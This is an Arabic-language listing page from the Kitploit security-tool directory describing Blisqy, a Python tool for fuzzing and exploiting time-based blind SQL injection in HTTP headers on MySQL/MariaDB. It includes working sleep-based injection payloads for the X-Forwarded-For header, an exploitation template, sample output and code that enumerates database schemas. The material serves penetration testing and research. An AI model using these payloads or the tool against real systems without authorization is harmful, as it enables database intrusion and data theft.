Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
Blisqy — الإصدار 0.2 - استغلال حقن SQL الأعمى القائم على الوقت في رؤوس HTTP (MySQL/MariaDB). | Kitploit
أدوات/GitHubGitHub/johntroony/blisqy
ماسحات الثغرات الأمنيةالاستغلالأمن الويبالاختبار العشوائيأمن قواعد البيانات
GitHubjohntroony/blisqy

Blisqy

الإصدار 0.2 - استغلال حقن SQL الأعمى القائم على الوقت في رؤوس HTTP (MySQL/MariaDB).

عرض المستودع
416111منذ 7 سنواتتمت المراجعة من قبل Kitploit

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
الموقع الإلكتروني

1. Blisqy

Blisqy هي أداة لمساعدة باحثي أمن الويب في العثور على حقن SQL أعمى زمني (Time-based Blind SQL Injection) في رؤوس HTTP وكذلك استغلال نفس الثغرة.

يتيح الاستغلال سحب البيانات ببطء من قاعدة بيانات (تدعم حالياً MySQL/MariaDB فقط) باستخدام العمليات البتية (bitwise operations) على أحرف ASCII القابلة للطباعة، عبر حقن SQL أعمى.

من أجل التوافق مع أدوات Python الأخرى وتمكين المستخدمين الآخرين من استخدام الميزات التي توفرها Blisqy، يمكن استيراد الوحدات الموجودة هنا في نصوص Python الأخرى.

عند اختبار حقن SQL الأعمى الزمني، يمكن أن يؤثر أي تأخير في الشبكة أو ازدحام على فعالية التجربة (fuzzing) أو الاستغلال. لتعويض التأخيرات المحتملة في الشبكة والشكوك التي قد تسبب تأخيرات، تكون مقارنة الوقت في Blisqy ديناميكية وتحسب في وقت التشغيل لكل اختبار. تستخدم الاختبارات greenlet (وحدة تنفيذ خفيفة الوزن مجدولة بشكل تعاوني) لتوفير واجهة برمجة تطبيقات متزامنة عالية المستوى فوق حلقة libevevent. يوفر ذلك طريقة سريعة وفعالة لتنفيذ اختبارات الحمولة (payload tests) في وقت قصير، كما أن اختباراً معيناً لا يؤثر على آخر لأنها لا تتم بطريقة تسلسلية بالكامل.

1.1. الميزات الجديدة

تدعم Blisqy الآن التجريب (fuzzing) لحقن SQL الأعمى الزمني على رؤوس HTTP، وتم فصل الوظائف الرئيسية (التجريب والاستغلال) إلى ملفات مستقلة لسهولة النقل.

1.2. التجريب باستخدام Blisqy

لاستخدام وظيفة التجريب، قم باستيراد الوحدة التالية في نص Python الخاص بك وقدم هدفاً مع بيانات التجريب كما هو موضح أدناه:

root@kitploit:~
from lib.blindfuzzer import blindSeeker

يجب أن تكون معاملات الهدف بتنسيق Dictionary/JSON، على سبيل المثال (لاحظ أنواع البيانات المتغيرة):

root@kitploit:~
    Server = '192.168.56.101'
    Port = 80
    Index = 1
    Method = 'GET'
    Headerfile = "fuzz-data/headers/default_headers.txt"
    Injectionfile = "fuzz-data/payloads/mysql_time.txt"

    target_params = {
        'server': Server,
        'port': Port,
        'index': Index,
        'headersFile': Headerfile,
        'injectionFile': Injectionfile,
        'method': Method
    }

استدعاء أداة التجريب بمجرد تقديم معاملات الهدف يكون كما هو موضح أدناه:

root@kitploit:~
vulns = blindSeeker(target_params)
vulns.fuzz()

يمكنك مراجعة FindBlindSpot.py لهذا المثال المقدم.

1.2.1. نموذج مخرجات التجريب

إذا كنت ناجحاً، يجب أن تحصل على تقرير عن الاختبارات 'القابلة للحقن' التي تم إجراؤها. يرجى ملاحظة أنه بقدر ما تحاول Blisqy تعويض تأخيرات الشبكة والازدحام أثناء الاختبار، من المهم اختبار صحة النتائج الإيجابية المبلغ عنها قبل المتابعة.

فيما يلي نموذج تقرير:

root@kitploit:~
=================== [ Key Terms] ===================
Index = Configured Constant (Delay)
Base Index Record = Server Ping Before Fuzzing
Benching Record  = Base Index Record + Index
Fuzzing Record = Time taken to process request with Index

===================== [ Logic] =====================
If Fuzzing Record is greater than Benching Record,
treat as a positive; else, treat as a negative.



[+] Injection : X-Forwarded-For : ' or sleep(1)#

[+] Header : X-Forwarded-For

[*] Index Record : 0.000160932540894
[*] Benching Record : 1.00016093254
[*] Fuzzing Record : 9.01
[!] Test 436 is Injectable.
__________________________________

[+] Injection : X-Forwarded-For : ' or sleep(1)='

[+] Header : X-Forwarded-For

[*] Index Record : 0.000378847122192
[*] Benching Record : 1.00037884712
[*] Fuzzing Record : 18.02
[!] Test 438 is Injectable.
__________________________________

لقطة شاشة لأداة التجريب Blisqy أثناء العمل:

Fuzz for Blind SQLi

1.3. الاستغلال باستخدام Blisqy

بعد العثور على حقن SQL أعمى زمني محتمل، يمكنك إعداد نص لاستغلال تطبيق الويب الضعيف.

تماماً مثل أداة التجريب، يمكنك استيراد وحدة الاستغلال في نص Python الخاص بك وتحديد قالب لعملية الاستغلال. فيما يلي مثال لكيفية استيراد الوحدة في نص Python:

root@kitploit:~
from lib.blindexploit import SqlEngine

بعد ذلك، ستحتاج إلى تقديم تفاصيل هدفك مع معاملات الهدف الخاصة به للاستغلال. فيما يلي نموذج تنفيذ لاستغلال حقن SQL الأعمى الذي وجدته أداة التجريب:

يجب أن تكون بيانات الهدف بتنسيق Dictionary/JSON تحدد الخادم، المنفذ، الرأس الضعيف الذي تم العثور عليه وقيمته (بعض التطبيقات قد تحتاج أو تتحقق من قيمة معينة). أيضاً لاحظ أنواع البيانات المتغيرة.

root@kitploit:~
target = {
    'server': '192.168.56.101',
    'port': 80,
    'vulnHeader': 'X-Forwarded-For',
    'headerValue': 'fuzzer'
}

يجب أن تتبع معاملات الهدف ذلك لتسمح للمستخدم بتحديد بعض الخيارات المتعلقة بتفضيلات الاستغلال.

root@kitploit:~
targetParam = {
    'sleepTime': 0.1,
    'payload': 'pass',
    'mysqlDig': 'yes',
    'interactive': 'on',
    'verbosity': 'high'
}
  • sleepTime هو التأخير الذي سيتم استخدامه في الحمولات (payloads)
  • payload هو خيار لتشغيل الاستغلال باستعلام SQL مخصص مثل select @@hostname. الخيار الافتراضي هو 'pass'.
  • mysqlDig يتيح الاستغلال ليكون تلقائياً ويسرد جميع الجداول المتاحة في المخطط (schema).
  • interactive هو خيار لتمكين المستخدم من التفاعل مع روتين الاستغلال. يمكن أن يكون مفيداً عندما تريد الانتقال إلى الأجزاء المثيرة للاهتمام في قاعدة البيانات.
  • verbosity يمكن أن تكون عالية أو متوسطة أو منخفضة. هذا يتحكم فقط في معلومات الإخراج من روتين الاستغلال.

بعد تقديم هدفك ومعاملاته، الشيء التالي هو تقديم قالب لروتين الاستغلال. توفر Blisqy طريقة للمستخدمين لتحديد مكان حقن حمولة استخراج SQL وتأخير sleeptime. فيما يلي مثال على تنفيذ لإحدى الثغرات التي تم العثور عليها في نموذج التقرير المقدم في القسم الفرعي السابق.

تم العثور على حقن في رأس X-Forwarded-For:

root@kitploit:~
' or sleep(1)='

قالب هذا الحقن المعين:

root@kitploit:~
sqli = "' or if((*sql*),sleep(*time*),0) and '1'='1"

أثناء وقت التشغيل، سيتم استبدال *sql* بحمولة حقن SQL و *time* بتأخير للدالة sleep().

بمجرد الانتهاء من كل ذلك، الجزء الأخير هو إنشاء نسخة من روتين الاستغلال وترك الطريقة MysqlDigger() تقوم بالعمل.

root@kitploit:~
# Create an instance
BlindSql = SqlEngine(target, targetParam, sqli)

# Enumerate the MySql Database
BlindSql.MysqlDigger()

يمكنك مراجعة ExploitBlindSpot.py لهذا المثال المقدم.

فيما يلي مثال على عملية استغلال:

Exploit Blind SQLi

1.4. المهام المتبقية

  • دمج أداة تجريب ذكية لصيد ثغرات حقن SQL في رؤوس HTTP وعناصر الويب
  • دعم تجريب واستغلال حقن SQL الأعمى على نقاط نهاية الويب بخلاف رؤوس HTTP.

1.4.1. المساهمة

يمكنك إبلاغي بأي شيء مثير تجده باستخدام Blisqy أو ما تعتقد أنه يجب إضافته/إزالته.

  • شارك أفكارك وقائمة رغباتك،
  • لاحظت خطأ إملائياً؟ أخبرني،
  • وجدت طرقاً لتحسين Blisqy؟،
  • اقترح طرقاً لإضافة دعم لأنظمة إدارة قواعد بيانات أخرى.

1.4.2. المراجع

  • (PDF) Time-Based Blind SQL Injection via HTTP Headers: Fuzzing and Exploitation.. متاح من: https://www.researchgate.net/publication/328880240_Time-Based_Blind_SQL_Injection_via_HTTP_Headers_Fuzzing_and_Exploitation

  • PentesterLab - From SQL Injection to Shell II https://pentesterlab.com/exercises/from_sqli_to_shell_II/course

تنزيل الأداة